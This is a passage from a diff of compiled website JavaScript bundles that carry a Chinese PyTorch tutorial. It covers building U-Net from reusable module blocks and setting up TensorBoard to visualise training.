90e8\u5206\u6a21\u578b\u7ed3\u6784\uff08\u6bd4\u5982ResNet\u3001DenseNet\u7b49\uff09\uff0c\u6211\u4eec\u4ed4\u7ec6\u89c2\u5bdf\u5c31\u4f1a\u53d1\u73b0\uff0c\u867d\u7136\u6a21\u578b\u6709\u5f88\u591a\u5c42\uff0c \u4f46\u662f\u5176\u4e2d\u6709\u5f88\u591a\u91cd\u590d\u51fa\u73b0\u7684\u7ed3\u6784\u3002\u8003\u8651\u5230\u6bcf\u4e00\u5c42\u6709\u5176\u8f93\u5165\u548c\u8f93\u51fa\uff0c\u82e5\u5e72\u5c42\u4e32\u8054\u6210\u7684\u201d\u6a21\u5757\u201c\u4e5f\u6709\u5176\u8f93\u5165\u548c\u8f93\u51fa\uff0c\u5982\u679c\u6211\u4eec\u80fd\u5c06\u8fd9\u4e9b\u91cd\u590d\u51fa\u73b0\u7684\u5c42\u5b9a\u4e49\u4e3a\u4e00\u4e2a\u201d\u6a21\u5757\u201c\uff0c\u6bcf\u6b21\u53ea\u9700\u8981\u5411\u7f51\u7edc\u4e2d\u6dfb\u52a0\u5bf9\u5e94\u7684\u6a21\u5757\u6765\u6784\u5efa\u6a21\u578b\uff0c\u8fd9\u6837\u5c06\u4f1a\u6781\u5927\u4fbf\u5229\u6a21\u578b\u6784\u5efa\u7684\u8fc7\u7a0b\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u672c\u8282\u6211\u4eec\u5c06\u4ee5U-Net\u4e3a\u4f8b\uff0c\u4ecb\u7ecd\u5982\u4f55\u6784\u5efa\u6a21\u578b\u5757\uff0c\u4ee5\u53ca\u5982\u4f55\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u6a21\u578b\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u5229\u7528\u4e0a\u4e00\u8282\u5b66\u5230\u7684\u77e5\u8bc6\uff0c\u5c06\u7b80\u5355\u5c42\u6784\u5efa\u6210\u5177\u6709\u7279\u5b9a\u529f\u80fd\u7684\u6a21\u578b\u5757"}),"\n",(0,i.jsx)(e.li,{children:"\u5229\u7528\u6a21\u578b\u5757\u6784\u5efa\u590d\u6742\u7f51\u7edc"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"521-u-net\u7b80\u4ecb",children:"5.2.1 U-Net\u7b80\u4ecb"}),"\n",(0,i.jsx)(e.p,{children:"U-Net\u662f\u5206\u5272 (Segmentation) \u6a21\u578b\u7684\u6770\u4f5c\uff0c\u5728\u4ee5\u533b\u5b66\u5f71\u50cf\u4e3a\u4ee3\u8868\u7684\u8bf8\u591a\u9886\u57df\u6709\u7740\u5e7f\u6cdb\u7684\u5e94\u7528\u3002U-Net\u6a21\u578b\u7ed3\u6784\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u901a\u8fc7\u6b8b\u5dee\u8fde\u63a5\u7ed3\u6784\u89e3\u51b3\u4e86\u6a21\u578b\u5b66\u4e60\u4e2d\u7684\u9000\u5316\u95ee\u9898\uff0c\u4f7f\u5f97\u795e\u7ecf\u7f51\u7edc\u7684\u6df1\u5ea6\u80fd\u591f\u4e0d\u65ad\u6269\u5c55\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"unet",src:l(54612).A+"",width:"1555",height:"1036"})}),"\n",(0,i.jsx)(e.h2,{id:"522-u-net\u6a21\u578b\u5757\u5206\u6790",children:"5.2.2 U-Net\u6a21\u578b\u5757\u5206\u6790"}),"\n",(0,i.jsx)(e.p,{children:"\u7ed3\u5408\u4e0a\u56fe\uff0c\u4e0d\u96be\u53d1\u73b0U-Net\u6a21\u578b\u5177\u6709\u975e\u5e38\u597d\u7684\u5bf9\u79f0\u6027\u3002\u6a21\u578b\u4ece\u4e0a\u5230\u4e0b\u5206\u4e3a\u82e5\u5e72\u5c42\uff0c\u6bcf\u5c42\u7531\u5de6\u4fa7\u548c\u53f3\u4fa7\u4e24\u4e2a\u6a21\u578b\u5757\u7ec4\u6210\uff0c\u6bcf\u4fa7\u7684\u6a21\u578b\u5757\u4e0e\u5176\u4e0a\u4e0b\u6a21\u578b\u5757\u4e4b\u95f4\u6709\u8fde\u63a5\uff1b\u540c\u65f6\u4f4d\u4e8e\u540c\u4e00\u5c42\u5de6\u53f3\u4e24\u4fa7\u7684\u6a21\u578b\u5757\u4e4b\u95f4\u4e5f\u6709\u8fde\u63a5\uff0c\u79f0\u4e3a\u201cSkip-connection\u201d\u3002\u6b64\u5916\u8fd8\u6709\u8f93\u5165\u548c\u8f93\u51fa\u5904\u7406\u7b49\u5176\u4ed6\u7ec4\u6210\u90e8\u5206\u3002\u7531\u4e8e\u6a21\u578b\u7684\u5f62\u72b6\u975e\u5e38\u50cf\u82f1\u6587\u5b57\u6bcd\u7684\u201cU\u201d\uff0c\u56e0\u6b64\u88ab\u547d\u540d\u4e3a\u201cU-Net\u201d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7ec4\u6210U-Net\u7684\u6a21\u578b\u5757\u4e3b\u8981\u6709\u5982\u4e0b\u51e0\u4e2a\u90e8\u5206\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u6bcf\u4e2a\u5b50\u5757\u5185\u90e8\u7684\u4e24\u6b21\u5377\u79ef\uff08Double Convolution\uff09"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u5de6\u4fa7\u6a21\u578b\u5757\u4e4b\u95f4\u7684\u4e0b\u91c7\u6837\u8fde\u63a5\uff0c\u5373\u6700\u5927\u6c60\u5316\uff08Max pooling\uff09"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u53f3\u4fa7\u6a21\u578b\u5757\u4e4b\u95f4\u7684\u4e0a\u91c7\u6837\u8fde\u63a5\uff08Up sampling\uff09"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\u5c42\u7684\u5904\u7406"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u9664\u6a21\u578b\u5757\u5916\uff0c\u8fd8\u6709\u6a21\u578b\u5757\u4e4b\u95f4\u7684\u6a2a\u5411\u8fde\u63a5\uff0c\u8f93\u5165\u548cU-Net\u5e95\u90e8\u7684\u8fde\u63a5\u7b49\u8ba1\u7b97\uff0c\u8fd9\u4e9b\u5355\u72ec\u7684\u64cd\u4f5c\u53ef\u4ee5\u901a\u8fc7forward\u51fd\u6570\u6765\u5b9e\u73b0\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u4e0b\u9762\u6211\u4eec\u7528PyTorch\u5148\u5b9e\u73b0\u4e0a\u8ff0\u7684\u6a21\u578b\u5757\uff0c\u7136\u540e\u518d\u5229\u7528\u5b9a\u4e49\u597d\u7684\u6a21\u578b\u5757\u6784\u5efaU-Net\u6a21\u578b\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"523-u-net\u6a21\u578b\u5757\u5b9e\u73b0",children:"5.2.3 U-Net\u6a21\u578b\u5757\u5b9e\u73b0"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u4f7f\u7528PyTorch\u5b9e\u73b0U-Net\u6a21\u578b\u65f6\uff0c\u6211\u4eec\u4e0d\u5fc5\u628a\u6bcf\u4e00\u5c42\u6309\u5e8f\u6392\u5217\u663e\u5f0f\u5199\u51fa\uff0c\u8fd9\u6837\u592a\u9ebb\u70e6\u4e14\u4e0d\u5b9c\u8bfb\uff0c\u4e00\u79cd\u6bd4\u8f83\u597d\u7684\u65b9\u6cd5\u662f\u5148\u5b9a\u4e49\u597d\u6a21\u578b\u5757\uff0c\u518d\u5b9a\u4e49\u6a21\u578b\u5757\u4e4b\u95f4\u7684\u8fde\u63a5\u987a\u5e8f\u548c\u8ba1\u7b97\u65b9\u5f0f\u3002\u5c31\u597d\u6bd4\u88c5\u914d\u96f6\u4ef6\u4e00\u6837\uff0c\u6211\u4eec\u5148\u88c5\u914d\u597d\u4e00\u4e9b\u57fa\u7840\u7684\u90e8\u4ef6\uff0c\u4e4b\u540e\u518d\u7528\u8fd9\u4e9b\u53ef\u4ee5\u590d\u7528\u7684\u90e8\u4ef6\u5f97\u5230\u6574\u4e2a\u88c5\u914d\u4f53\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u91cc\u7684\u57fa\u7840\u90e8\u4ef6\u5bf9\u5e94\u4e0a\u4e00\u8282\u5206\u6790\u7684\u56db\u4e2a\u6a21\u578b\u5757\uff0c\u6839\u636e\u529f\u80fd\u6211\u4eec\u5c06\u5176\u547d\u540d\u4e3a\uff1a",(0,i.jsx)(e.code,{children:"DoubleConv"}),", ",(0,i.jsx)(e.code,{children:"Down"}),", ",(0,i.jsx)(e.code,{children:"Up"}),", ",(0,i.jsx)(e.code,{children:"OutConv"}),"\u3002\u4e0b\u9762\u7ed9\u51faU-Net\u4e2d\u6a21\u578b\u5757\u7684PyTorch \u5b9e\u73b0\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:'class DoubleConv(nn.Module):\n """(convolution => [BN] => ReLU) * 2"""\n\n def __init__(self, in_channels, out_channels, mid_channels=None):\n super().__init__()\n if not mid_channels:\n mid_channels = out_channels\n self.double_conv = nn.Sequential(\n nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(mid_channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n\n def forward(self, x):\n return self.double_conv(x)\n\n'})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:'class Down(nn.Module):\n """Downscaling with maxpool then double conv"""\n\n def __init__(self, in_channels, out_channels):\n super().__init__()\n self.maxpool_conv = nn.Sequential(\n nn.MaxPool2d(2),\n DoubleConv(in_channels, out_channels)\n )\n\n def forward(self, x):\n return self.maxpool_conv(x)\n\n'})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:'class Up(nn.Module):\n """Upscaling then double conv"""\n\n def __init__(self, in_channels, out_channels, bilinear=False):\n super().__init__()\n\n # if bilinear, use the normal convolutions to reduce the number of channels\n if bilinear:\n self.up = nn.Upsample(scale_factor=2, mode=\'bilinear\', align_corners=True)\n self.conv = DoubleConv(in_channels, out_channels, in_channels // 2)\n else:\n self.up = nn.ConvTranspose2d(in_channels, in_channels // 2, kernel_size=2, stride=2)\n self.conv = DoubleConv(in_channels, out_channels)\n\n def forward(self, x1, x2):\n x1 = self.up(x1)\n # input is CHW\n diffY = x2.size()[2] - x1.size()[2]\n diffX = x2.size()[3] - x1.size()[3]\n\n x1 = F.pad(x1, [diffX // 2, diffX - diffX // 2,\n diffY // 2, diffY - diffY // 2])\n # if you have padding issues, see\n # https://github.com/HaiyongJiang/U-Net-Pytorch-Unstructured-Buggy/commit/0e854509c2cea854e247a9c615f175f76fbb2e3a\n # https://github.com/xiaopeng-liao/Pytorch-UNet/commit/8ebac70e633bac59fc22bb5195e513d5832fb3bd\n x = torch.cat([x2, x1], dim=1)\n return self.conv(x)\n\n'})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class OutConv(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(OutConv, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=1)\n\n def forward(self, x):\n return self.conv(x)\n"})}),"\n",(0,i.jsx)(e.h2,{id:"524-\u5229\u7528\u6a21\u578b\u5757\u7ec4\u88c5u-net",children:"5.2.4 \u5229\u7528\u6a21\u578b\u5757\u7ec4\u88c5U-Net"}),"\n",(0,i.jsx)(e.p,{children:"\u4f7f\u7528\u4e0a\u9762\u6211\u4eec\u5b9a\u4e49\u597d\u7684\u6a21\u578b\u5757\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u975e\u5e38\u65b9\u4fbf\u5730\u7ec4\u88c5U-Net\u6a21\u578b\u3002\u53ef\u4ee5\u770b\u5230\uff0c\u901a\u8fc7\u6a21\u578b\u5757\u7684\u65b9\u5f0f\u5b9e\u73b0\u4e86\u4ee3\u7801\u590d\u7528\uff0c\u6574\u4e2a\u6a21\u578b\u7ed3\u6784\u5b9a\u4e49\u6240\u9700\u7684\u4ee3\u7801\u603b\u884c\u6570\u660e\u663e\u51cf\u5c11\uff0c\u4ee3\u7801\u53ef\u8bfb\u6027\u4e5f\u5f97\u5230\u4e86\u63d0\u5347\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class UNet(nn.Module):\n def __init__(self, n_channels, n_classes, bilinear=False):\n super(UNet, self).__init__()\n self.n_channels = n_channels\n self.n_classes = n_classes\n self.bilinear = bilinear\n\n self.inc = DoubleConv(n_channels, 64)\n self.down1 = Down(64, 128)\n self.down2 = Down(128, 256)\n self.down3 = Down(256, 512)\n factor = 2 if bilinear else 1\n self.down4 = Down(512, 1024 // factor)\n self.up1 = Up(1024, 512 // factor, bilinear)\n self.up2 = Up(512, 256 // factor, bilinear)\n self.up3 = Up(256, 128 // factor, bilinear)\n self.up4 = Up(128, 64, bilinear)\n self.outc = OutConv(64, n_classes)\n\n def forward(self, x):\n x1 = self.inc(x)\n x2 = self.down1(x1)\n x3 = self.down2(x2)\n x4 = self.down3(x3)\n x5 = self.down4(x4)\n x = self.up1(x5, x4)\n x = self.up2(x, x3)\n x = self.up3(x, x2)\n x = self.up4(x, x1)\n logits = self.outc(x)\n return logits\n"})}),"\n",(0,i.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:"https://github.com/milesial/Pytorch-UNet",children:"https://github.com/milesial/Pytorch-UNet"})}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(a,{...n})}):a(n)}},28453:(n,e,l)=>{l.d(e,{R:()=>c,x:()=>o});var s=l(96540);const i={},t=s.createContext(i);function c(n){const e=s.useContext(t);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:c(n.components),s.createElement(t.Provider,{value:e},n.children)}},54612:(n,e,l)=>{l.d(e,{A:()=>s});const s=l.p+"assets/images/5.2.1unet-f0e9aa890b967da85a7bd9a1fd73c55a.png"}}]); \ No newline at end of file diff --git a/en/assets/js/a22a86e9.fcfc881f.js b/en/assets/js/a22a86e9.fcfc881f.js new file mode 100644 index 0000000..6d81c60 --- /dev/null +++ b/en/assets/js/a22a86e9.fcfc881f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7337],{7640:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>a,contentTitle:()=>d,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>l});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316"},"next":{"title":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}}');var t=r(74848),o=r(28453);const i={},d="7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md",a={},l=[{value:"7.3.1 TensorBoard\u5b89\u88c5",id:"731-tensorboard\u5b89\u88c5",level:2},{value:"7.3.2 TensorBoard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91",id:"732-tensorboard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91",level:2},{value:"7.3.3 TensorBoard\u7684\u914d\u7f6e\u4e0e\u542f\u52a8",id:"733-tensorboard\u7684\u914d\u7f6e\u4e0e\u542f\u52a8",level:2},{value:"7.3.4 TensorBoard\u6a21\u578b\u7ed3\u6784\u53ef\u89c6\u5316",id:"734-tensorboard\u6a21\u578b\u7ed3\u6784\u53ef\u89c6\u5316",level:2},{value:"7.3.5 TensorBoard\u56fe\u50cf\u53ef\u89c6\u5316",id:"735-tensorboard\u56fe\u50cf\u53ef\u89c6\u5316",level:2},{value:"7.3.6 TensorBoard\u8fde\u7eed\u53d8\u91cf\u53ef\u89c6\u5316",id:"736-tensorboard\u8fde\u7eed\u53d8\u91cf\u53ef\u89c6\u5316",level:2},{value:"7.3.7 TensorBoard\u53c2\u6570\u5206\u5e03\u53ef\u89c6\u5316",id:"737-tensorboard\u53c2\u6570\u5206\u5e03\u53ef\u89c6\u5316",level:2},{value:"7.3.8 \u670d\u52a1\u5668\u7aef\u4f7f\u7528TensorBoard",id:"738-\u670d\u52a1\u5668\u7aef\u4f7f\u7528tensorboard",level:2},{value:"7.3.9 \u603b\u7ed3",id:"739-\u603b\u7ed3",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function c(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,o.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"73-\u4f7f\u7528tensorboard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0bmd",children:"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(n.h1,{id:"73-\u4f7f\u7528tensorboard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b",children:"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,t.jsx)(n.p,{children:"\u8bad\u7ec3\u8fc7\u7a0b\u7684\u53ef\u89c6\u5316\u5728\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u8bad\u7ec3\u4e2d\u626e\u6f14\u7740\u91cd\u8981\u7684\u89d2\u8272\u3002\u5b66\u4e60\u7684\u8fc7\u7a0b\u662f\u4e00\u4e2a\u4f18\u5316\u7684\u8fc7\u7a0b\uff0c\u6211\u4eec\u9700\u8981\u627e\u5230\u6700\u4f18\u7684\u70b9\u4f5c\u4e3a\u8bad\u7ec3\u8fc7\u7a0b\u7684\u8f93\u51fa\u4ea7\u7269\u3002\u4e00\u822c\u6765\u8bf4\uff0c\u6211\u4eec\u4f1a\u7ed3\u5408\u8bad\u7ec3\u96c6\u7684\u635f\u5931\u51fd\u6570\u548c\u9a8c\u8bc1\u96c6\u7684\u635f\u5931\u51fd\u6570\uff0c\u7ed8\u5236\u4e24\u6761\u635f\u5931\u51fd\u6570\u7684\u66f2\u7ebf\u6765\u786e\u5b9a\u8bad\u7ec3\u7684\u7ec8\u70b9\uff0c\u627e\u5230\u5bf9\u5e94\u7684\u6a21\u578b\u7528\u4e8e\u6d4b\u8bd5\u3002\u90a3\u4e48\u9664\u4e86\u8bb0\u5f55\u8bad\u7ec3\u4e2d\u6bcf\u4e2aepoch\u7684loss\u503c\uff0c\u80fd\u5426\u5b9e\u65f6\u89c2\u5bdf\u635f\u5931\u51fd\u6570\u66f2\u7ebf\u7684\u53d8\u5316\uff0c\u53ca\u65f6\u6355\u6349\u6a21\u578b\u7684\u53d8\u5316\u5462\uff1f"}),"\n",(0,t.jsx)(n.p,{children:"\u6b64\u5916\uff0c\u6211\u4eec\u4e5f\u5e0c\u671b\u53ef\u89c6\u5316\u5176\u4ed6\u5185\u5bb9\uff0c\u5982\u8f93\u5165\u6570\u636e\uff08\u5c24\u5176\u662f\u56fe\u7247\uff09\u3001\u6a21\u578b\u7ed3\u6784\u3001\u53c2\u6570\u5206\u5e03\u7b49\uff0c\u8fd9\u4e9b\u5bf9\u4e8e\u6211\u4eec\u5728debug\u4e2d\u67e5\u627e\u95ee\u9898\u6765\u6e90\u975e\u5e38\u91cd\u8981\uff08\u6bd4\u5982\u8f93\u5165\u6570\u636e\u548c\u6211\u4eec\u60f3\u8c61\u7684\u662f\u5426\u4e00\u81f4\uff09\u3002"}),"\n",(0,t.jsx)(n.p,{children:"TensorBoard\u4f5c\u4e3a\u4e00\u6b3e\u53ef\u89c6\u5316\u5de5\u5177\u80fd\u591f\u6ee1\u8db3\u4e0a\u9762\u63d0\u5230\u7684\u5404\u79cd\u9700\u6c42\u3002TensorBoard\u7531TensorFlow\u56e2\u961f\u5f00\u53d1\uff0c\u6700\u65e9\u548cTensorFlow\u914d\u5408\u4f7f\u7528\uff0c\u540e\u6765\u5e7f\u6cdb\u5e94\u7528\u4e8e\u5404\u79cd\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\u7684\u53ef\u89c6\u5316\u4e2d\u6765\u3002\u672c\u8282\u6211\u4eec\u63a2\u7d22TensorBoard\u7684\u5f3a\u5927\u529f\u80fd\uff0c\u5e0c\u671b\u5e2e\u52a9\u8bfb\u8005\u201c\u4ece\u5165\u95e8\u5230\u7cbe\u901a\u201d\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u5b89\u88c5TensorBoard\u5de5\u5177"}),"\n",(0,t.jsx)(n.li,{children:"\u4e86\u89e3TensorBoard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91"}),"\n",(0,t.jsx)(n.li,{children:"\u638c\u63e1\u5229\u7528TensorBoard\u5b9e\u73b0\u8bad\u7ec3\u8fc7\u7a0b\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.li,{children:"\u638c\u63e1\u5229\u7528TensorBoard\u5b8c\u6210\u5176\u4ed6\u5185\u5bb9\u7684\u53ef\u89c6\u5316"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"731-tensorboard\u5b89\u88c5",children:"7.3.1 TensorBoard\u5b89\u88c5"}),"\n",(0,t.jsx)(n.p,{children:"\u5728\u5df2\u5b89\u88c5PyTorch\u7684\u73af\u5883\u4e0b\u4f7f\u7528pip\u5b89\u88c5\u5373\u53ef\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"pip install tensorboardX\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4e5f\u53ef\u4ee5\u4f7f\u7528PyTorch\u81ea\u5e26\u7684tensorboard\u5de5\u5177\uff0c\u6b64\u65f6\u4e0d\u9700\u8981\u989d\u5916\u5b89\u88c5tensorboard\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"732-tensorboard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91",children:"7.3.2 TensorBoard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91"}),"\n",(0,t.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5c06TensorBoard\u770b\u505a\u4e00\u4e2a\u8bb0\u5f55\u5458\uff0c\u5b83\u53ef\u4ee5\u8bb0\u5f55\u6211\u4eec\u6307\u5b9a\u7684\u6570\u636e\uff0c\u5305\u62ec\u6a21\u578b\u6bcf\u4e00\u5c42\u7684feature map\uff0c\u6743\u91cd\uff0c\u4ee5\u53ca\u8bad\u7ec3loss\u7b49\u7b49\u3002TensorBoard\u5c06\u8bb0\u5f55\u4e0b\u6765\u7684\u5185\u5bb9\u4fdd\u5b58\u5728\u4e00\u4e2a\u7528\u6237\u6307\u5b9a\u7684\u6587\u4ef6\u5939\u91cc\uff0c\u7a0b\u5e8f\u4e0d\u65ad\u8fd0\u884c\u4e2dTensorBoard\u4f1a\u4e0d\u65ad\u8bb0\u5f55\u3002\u8bb0\u5f55\u4e0b\u7684\u5185\u5bb9\u53ef\u4ee5\u901a\u8fc7\u7f51\u9875\u7684\u5f62\u5f0f\u52a0\u4ee5\u53ef\u89c6\u5316\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"733-tensorboard\u7684\u914d\u7f6e\u4e0e\u542f\u52a8",children:"7.3.3 TensorBoard\u7684\u914d\u7f6e\u4e0e\u542f\u52a8"}),"\n",(0,t.jsx)(n.p,{children:"\u5728\u4f7f\u7528TensorBoard\u524d\uff0c\u6211\u4eec\u9700\u8981\u5148\u6307\u5b9a\u4e00\u4e2a\u6587\u4ef6\u5939\u4f9bTensorBoard\u4fdd\u5b58\u8bb0\u5f55\u4e0b\u6765\u7684\u6570\u636e\u3002\u7136\u540e\u8c03\u7528tensorboard\u4e2d\u7684SummaryWriter\u4f5c\u4e3a\u4e0a\u8ff0\u201c\u8bb0\u5f55\u5458\u201d"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"from tensorboardX import SummaryWriter\n\nwriter = 